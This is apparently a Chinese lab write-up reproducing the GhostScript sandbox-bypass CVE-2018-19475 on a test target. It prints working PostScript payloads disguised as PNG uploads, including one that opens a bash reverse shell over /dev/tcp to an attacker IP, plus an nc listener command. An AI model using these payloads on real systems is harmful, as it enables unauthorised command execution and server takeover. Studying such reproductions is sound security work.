GhostScript 沙箱绕过命令执行漏洞
文章目录
- 基础知识
- 一、漏洞知识
- 1.漏洞描述
- 2.漏洞危害
- 3.漏洞影响版本
- 二、漏洞利用
- 1.访问靶机
- 三、反弹shell
- 1.为什么要反弹shell
- 2.上传shell获取权限
- 总结
基础知识
GhostScript
GhostScript最初是以商业软件形式在PC市场上发售,当时名为“GoScript”。但由于速度太慢(半小时一版A4),销量极差。后来有心人买下了版权,并改在Linux上开发,成为了今日的Ghostscript。ghostscript如今已经从Linux版本移植到其他操作系统,如Unix、Mac
OS X、VMS、Windows、OS/2和Mac OS classic。GhostScript可用作电脑印表机使用的栅格化影像处理器(RIP)。一般从用户常见文件如图片或者word到打印机经过这么几套工序,以word为例:
Doc文件 -> 中间文件(如pdf,以前是postscript)->打印机语言(如:PCL)->打印机
GhostScript可以将中间文件转化为适应各种打印机的打印机语言(或者叫光栅文件)。然后将该文件发送给打印机,打印机将光栅文件打印到纸张上,就是一次完整的打印过程。
提示:以下是本篇文章正文内容,下面案例可供参考
一、漏洞知识
1.漏洞描述
2018年底来自Semmle Security Research团队的Man Yue Mo发表了CVE-2018-16509漏洞的变体CVE-2018-19475,可以通过一个恶意图片绕过GhostScript的沙盒,进而在9.26以前版本的gs中执行任意命令。
2.漏洞危害
【CVE-2018-19475】GhostScript 沙箱绕过命令执行漏洞评分7.8分,危害评级为高危。
通过利用该漏洞,攻击者可以绕过沙箱达到命令执行,控制服务器权限。
3.漏洞影响版本
ghostscript 9.26以前版本
二、漏洞利用
1.访问靶机
对目标靶机进行访问,发现上传点,新建文本文档,输入代码如下:
%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%id > /tmp/success && cat /tmp/success) (w) file
将文件重命名为1.png
将文件通过上传点进行上传,执行结果:
新建success文件,将id这个命令写入到success文件中
三、反弹shell
1.为什么要反弹shell
当我们在渗透Linux主机时,反弹一个交互的shell是非常有必要的。反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形导致连接失败。
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?
- 对方主机在局域网内,从外网无法直接访问。
- 对方主机上存在WAF,对主动连接发来的请求数据检测严格,而对向外发出的请求不进行检测或检测较少。
- 对方的ip会动态改变,你不能持续控制。
- 对方由于防火墙等限制,对方机器只能发送请求,不能接收请求。
- 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
开启终端,写入监听命令:
nc -lvp 1234
2.上传shell获取权限
新建文档,输入命令如下:
%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%bash -c "bash -i >& /dev/tcp/192.168.0.4/1234 0>&1") (w) file
将文档改为2.png
bash -i代表在本地打开一个bash,/dev/tcp/是Linux中的一个特殊文件,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,0>&1,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,以此建立交互式shell.
bash -c "cmd string"用于执行双引号中的cmd string
上传该文件后成功收到反弹shell
总结
当dorestore退出时,LockFilePermissions的值被设置为false
具体代码:
http://git.ghostscript.com/?
p=ghostpdl.git;a=blob;f=psi/zvmem.c;h=87a0a4ff1d68904995fd8e86ffb0e030c993f3f9;
hb=81f3d1e7247b9a8e29a388677b01959e612a28c7#l198
随后使用.setuserparams方法还原LockFilePermissions
具体代码:
http://git.ghostscript.com/?
p=ghostpdl.git;a=blob;f=Resource/Init/gs_lev2.ps;
h=44fe619566596ff88d3b69e5fb3d4715ef2e6e23;
hb=81f3d1e7247b9a8e29a388677b01959e612a28c7#l178
但是,在restore之后,.setuserparams方法执行之前,可能会抛出StackOverflowError栈溢出错误,不会重置“LockFilePermissions”。从而导致绕过-dSAFER
选项,该选项允许在还原LockFilePermissions失败后执行shell命令。
参考链接:https://bugs.ghostscript.com/show_bug.cgi?id=700153
GhostScript 沙箱绕过命令执行漏洞相关推荐
- CVE-2022-1388 F5 BIG-IP权限绕过命令执行漏洞复现
目录 0x01 声明: 0x02 简介: 0x03 漏洞概述: 0x04 影响版本: 0x05 环境搭建: 下载环境:(要注册账号) 登录页面: 0x06 漏洞复现: EXP地址: 修改EXP: 利用 ...
- CVE-2022-0543:redis lua沙盒绕过命令执行漏洞复现
#Redis简介 Redis 全称 Remote Dictionary Server(即远程字典服务),它是一个基于内存(当然也可以把其存储至硬盘上,这也是写shell的必要条件之一)实现的键值型非关 ...
- 绕过WAF运行命令执行漏洞的方法大全
文章目录 **前言** **一.windows下** 二.进入linux 三.一个有趣的例子 总结 前言 作者:掌控安全-桐镜 今天发散一下思维,聊聊关于命令执行漏洞绕过过滤的方法,让我们一起由浅入深 ...
- 简谈命令执行漏洞绕过过滤
原文: https://mp.weixin.qq.com/s?__biz=MzUyODkwNDIyMg==&mid=2247503891&idx=1&sn=791096c5cb ...
- 又被野外利用了!新曝光Office产品多个远程命令执行漏洞分析
本文讲的是又被野外利用了!新曝光Office产品多个远程命令执行漏洞分析, 早在2015年,FireEye曾发布过两次关于Office的Encapsulated PostScript (EPS)图形文 ...
- python直接执行代码漏洞_修复Python任意命令执行漏洞
Author:JoyChou@美丽联合安全 Date:20180605 1. 前言 今天遇到一个不好做白名单的Python命令执行漏洞修复的问题.由于是shell=True导致的任意命令执行,一开始大 ...
- couchdb 任意命令执行漏洞(cve-2017-12636)
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和 ...
- 远程执行漏洞修复方案_请马上修复!SaltStack远程命令执行漏洞
[漏洞预警]SaltStack远程命令执行漏洞(CVE-2020-11651.CVE-2020-11652) 2020年5月3日,阿里云应急响应中心监测到近日国外某安全团队披露了SaltStack存在 ...
- ctfshow-萌新-web10( 利用命令执行漏洞获取网站敏感信息)
ctf.show 萌新模块 web10关,这一关考察的是命令执行漏洞的利用,闯关者需要知道3个以上PHP命令执行函数的使用,推荐使用 passthru() 页面中展示了部分源码,并提示我们 flag ...
- DVWA系列之10 命令执行漏洞的挖掘与防御
通用的命令执行漏洞防御方法通常是使用两个函数:EscapeShellCmd和EscapeShellArg,下面分别来分析这两个函数. EscapeShellCmd()函数可以把一个字符串中所有可能瞒过 ...
最新文章
- 《数据科学:R语言实现》——3.12 估计缺失数据
- DataList 外部事件获取DataList内部值
- JavaScript与DOM编程
- jstl 处理Date 时间
- mysql中如何删除表中int约束,MySQL中的约束,添加约束,删除约束,以及其他修饰
- 【牛客 - 185A】无序组数 (思维,数学,因子个数)
- 1600k 打印头测试软件,更换LQ-1600K打印头断针的技巧
- sublime text常用快捷键整理
- 刷机工具-fastboot
- 发票分类代码地区代码列表
- 零基础Java学习路线
- 油气井钻井风险预测与控制系统——需求分析
- 挑战华为社招:智慧树java程序设计答案
- tsp问题——遗传算法解决
- Mybatis-Plus实现乐观锁配置
- 关于软件测试你必须知道的名词
- Java主要应用于哪些方面 Java就业方向有哪些
- 340. 至多包含K个不同字符的最长子串
- canvas 将折线转换成曲线
- loadrunner入门篇 - Vuser发生器
热门文章
- 企业内部应用对接钉钉 -- 钉钉回调
- 互联网晚报 | 10月27日 星期三 | 高德车道级导航正式发布;阿里淘菜菜发布“本地菜”计划;特斯拉市值破万亿美元...
- 计算机视觉-OpenCV(银行卡号识别)
- librdkafka安装步骤
- c语言中如何输出字节数组,C语言中数组所占字节怎么算
- 人工智能之产生式系统(c++实现)
- 无线蓝牙耳机选购小知识,2020新款上市五大高人气蓝牙耳机推荐
- 朴素贝叶斯,拉普拉斯平滑
- matlab绘直方图,[转载]matlab中函数bar绘制直方图
- 2021年苹果手机绕ID解锁教程-附使用工具